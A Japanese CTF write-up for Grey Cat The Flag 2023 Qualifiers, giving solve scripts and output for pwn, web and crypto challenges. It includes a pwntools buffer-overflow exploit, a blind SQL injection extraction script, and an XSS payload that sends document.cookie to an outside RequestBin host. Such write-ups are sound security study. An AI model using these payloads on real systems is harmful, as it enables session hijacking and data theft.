Grey Cat The Flag 2023 Qualifiers Writeup

この大会は2023/5/19 23:00(JST)~2023/5/21 23:00(JST)に開催されました。
今回もチームで参戦。結果は400点で454チーム中115位でした。
自分で解けた問題をWriteupとして書いておきます。

Baby Pwn (pwn)

初期のお金は$100で、指定した金額を減額していく。$1000以上になったら、フラグが表示される。intの整数値オーバーフローでフラグを表示させる。

>>> 2**32-1000
4294966296
$ nc 34.124.157.94 10541
==== Secure Banking System ====
Welcome to the banking system.
Earn $1000 to get the flag!

1. Check account balance
2. Withdraw money
3. Deposit money
4. Exit

Enter your option:
2
Enter the amount to withdraw: 4294966296
Withdrawal successful. New account balance: $1100

Congratulations! You have reached the required account balance ($1100).
The flag is: grey{b4by_pwn_df831aa280e25ed6c3d70653b8f165b7}
grey{b4by_pwn_df831aa280e25ed6c3d70653b8f165b7}

Easy Pwn (pwn)

BOFでwin関数をコールできれば良い。

#!/usr/bin/env python3
from pwn import *

p = remote('34.124.157.94', 10533)

elf = ELF('./easypwn')

win_addr = elf.symbols['win']

payload = b'A' * 16
payload += p64(win_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 34.124.157.94 on port 10533: Done
[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv', 's390', 'sparc', 'sparc64', 'thumb', 'vax']
[*] '/mnt/hgfs/Shared/easypwn'
    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
Type your string: b'AAAAAAAAAAAAAAAA\xa6\x06\x01\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAA\xa6\x06\x01'
grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23}
[*] Closed connection to 34.124.157.94 port 10533
grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23}

Fetus Web (Web)

HTMLソースを見ると、コメントに以下のように書いてあった。

<!-- Flag part 1: grey{St3p_1-->

リンクされているassets/js/main.jsを見ると、コメントに以下のように書いてあった。

//Flag part 2: _of_b4by_W3b}

2つのパーツを結合すると、フラグになる。

grey{St3p_1_of_b4by_W3b}

Baby Web (Web)

以下を入力してSubmitすると、ポップアップして"1"と表示された。

<script>alert(1);</script>

XSS脆弱性があるので、クッキーをRequestBinに送信するよう仕込む。
以下をSubmitする。

<script>window.location='https://[RequestBinドメイン]/?cookie='+document.cookie</script>

しばらくすると、フラグが飛んできてた。

grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}

100 Questions (Web)

DBファイルをDB Browserで開き、IDが42のQuestionを見ると"Flag"になっていて、Answerにはフラグが入っていることがわかる。Webページ上はSQLの問合せ結果の有無しかわからないので、Blind SQLインジェクションでフラグを抜き取る。

#!/usr/bin/env python3
import requests

url_base = 'http://34.126.139.50:10512/?qn_id=1&ans='

flag_len = -1
for i in range(1, 100):
    url = url_base + "' or (SELECT length(Answer) FROM QNA "
    url += "WHERE ID = 42) = " + str(i) + " -- -"
    r = requests.get(url)
    if 'Correct!' in r.text:
        flag_len = i
        break

print('[+] flag length is:', flag_len)

flag = ''
for i in range(1, flag_len + 1):
    for code in range(33, 127):
        url = url_base + "' or SUBSTR((SELECT Answer FROM QNA "
        url += "WHERE ID = 42)," + str(i) + ",1) = '" + chr(code) + "' -- -"
        r = requests.get(url)
        if 'Correct!' in r.text:
            flag += chr(code)
            break
    print('[+] flag:', flag)

print('[*] flag:', flag)

実行結果は以下の通り。

[+] flag length is: 16
[+] flag: g
[+] flag: gr
[+] flag: gre
[+] flag: grey
[+] flag: grey{
[+] flag: grey{1
[+] flag: grey{1_
[+] flag: grey{1_c
[+] flag: grey{1_c4
[+] flag: grey{1_c4N
[+] flag: grey{1_c4N7
[+] flag: grey{1_c4N7_
[+] flag: grey{1_c4N7_5
[+] flag: grey{1_c4N7_53
[+] flag: grey{1_c4N7_533
[+] flag: grey{1_c4N7_533}
[*] flag: grey{1_c4N7_533}
grey{1_c4N7_533}

Baby Crypto (Crypto)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 16:
grey{caes4r_c1ph3r_f0r_my_s4l4D}
grey{caes4r_c1ph3r_f0r_my_s4l4D}

EncryptService (Crypto)

サーバの処理概要は以下の通り。

・FLAGの長さが40バイトであることをチェック
・secret_key: ランダム16バイト文字列
・plaintext: 16進数表記で入力→hexデコード
・256回以下を繰り返し(i)
 ・ciphertext = encrypt(plaintext, i.to_bytes(1, 'big'))
  ・hsh: iの文字列化したもののsha256ダイジェストの先頭8バイト
  ・secret_key, nonce=hshでplaintextをAES-CTR暗号化したものの16進数表記を返却
 ・ciphertextを表示
・encrypt(FLAG.encode("ascii"), os.urandom(1))を表示

CTRモードなので、同じnonceであれば、平文と暗号文のXORが同じ。256パターンを試し、フラグの形式になるものを探す。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.124.157.94', 10590))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

plaintext = b'A' * 40
h_plaintext = plaintext.hex()

data = recvuntil(s, b': ')
print(data + h_plaintext)
s.sendall(h_plaintext.encode() + b'\n')

cts = []
for i in range(256):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = bytes.fromhex(data.split(' ')[-1])
    cts.append(ct)

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

enc_flag = bytes.fromhex(data.split(' ')[-1])

for ct in cts:
    key = strxor(plaintext, ct)
    flag = strxor(enc_flag, key)
    if flag.startswith(b'grey{'):
        flag = flag.decode()
        print(flag)
        break

実行結果は以下の通り。

AES is super safe. You have no way to guess my key anyways!!
My encryption service is very generous. Indeed, so generous that we will encrypt any plaintext you desire many times
Enter some plaintext (in hex format): 41414141414141414141414141414141414141414141414141414141414141414141414141414141
Ciphertext 0: 5a11006cf50e7b1f5d75adc27d4d5c6619982811ae79c78f7d08d1931bec71bd545ff7a3dddd5453
Ciphertext 1: 9db6681f74dd04351c2451690c0b5b44b3114941acb9eead1655941f0ba17c93772bda8854416f5a
Ciphertext 2: a8233ef0657e541e4c697c5eedfc0455ebb2c3ecadb39e8909acfee8deac0fa872614df6d8a73536
        :
        :
Ciphertext 252: c81bbbb15ca2f65b35bd7cb4cc342ed3ee76eab83cfca12399ecb3044784fab028e1c9d18529bd47
Ciphertext 253: f8467042fd7684d2ddefc5e2e42ffc77a93189a1e8fc9089081620ff1273f6a38ba7f4cdba377137
Ciphertext 254: c4961274f76c4fed5e58a9a84eb86adb4b31d8707c1b22707d314df5699025308c3633ae61343990
Ciphertext 255: 18d5edcdcf59277d93c5dd467086b8080a929cd47f322cafad4ab61ddcb3a9dfb6c6b572ddbb7cb6

We will reward a lot of money for the person that can decipher this encrypted message :)
It's impossible to decipher anyways, but here you go:
Flag:  66c462d585fecd085210610323bb80d0f30a00a5b4ad726dbff9a8cb8c38998e7b734a67aea733ed
grey{0h_m4n_57r34m_c1ph3r_n07_50_53cur3}
grey{0h_m4n_57r34m_c1ph3r_n07_50_53cur3}

The Vault (Crypto)

サーバの処理概要は以下の通り。

・n = pow(10, 128)
・a: 数値入力
・b: 数値入力
・check_keys(a, b)はFalseの場合、終了
 ・aが10の倍数の場合、Falseを返却
 ・b * log10(a) が 128より大きい場合、Trueを返却
 ・b * log10(a) が 128以下の場合、Falseを返却
・thief_check: ランダム16バイト文字列
・x = pow(a, b, n)
・first_key: xを文字列化したもののsha256ダイジェスト
・second_key: pow(x, 10, n)を文字列化したもののsha256ダイジェスト
・ret = encryption(first_key, encryption(second_key, thief_check))
 ・ret: thief_checkをsecond_keyでAES-CTR暗号化した後、first_keyでAES-CTR暗号化したもの
・retがthief_checkと一致している場合、フラグが表示される。

first_keyとsecond_keyが同じ場合に条件を満たす。つまり、x = pow(x, 10, n)が成り立てばよい。
x % n = 1になるa, bを探す。phiを計算し、その周期で1になることを使って、条件を満たすようにする。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

n = pow(10, 128)
phi = pow(2, 127) * pow(5, 127) * 4
b = 3

for i in range(1, 10):
    a = phi * i + 1
    if pow(a, b, n) == 1:
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.124.157.94', 10591))

data = recvuntil(s, b': ')
print(data + str(a))
s.sendall(str(a).encode() + b'\n')
data = recvuntil(s, b': ')
print(data + str(b))
s.sendall(str(b).encode() + b'\n')

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome back, NUS Dean. Please type in the authentication codes to open the vault!

Enter the first code: 200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
Enter the second code: 3
Performing thief checks...

Vault is opened.
grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}
grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}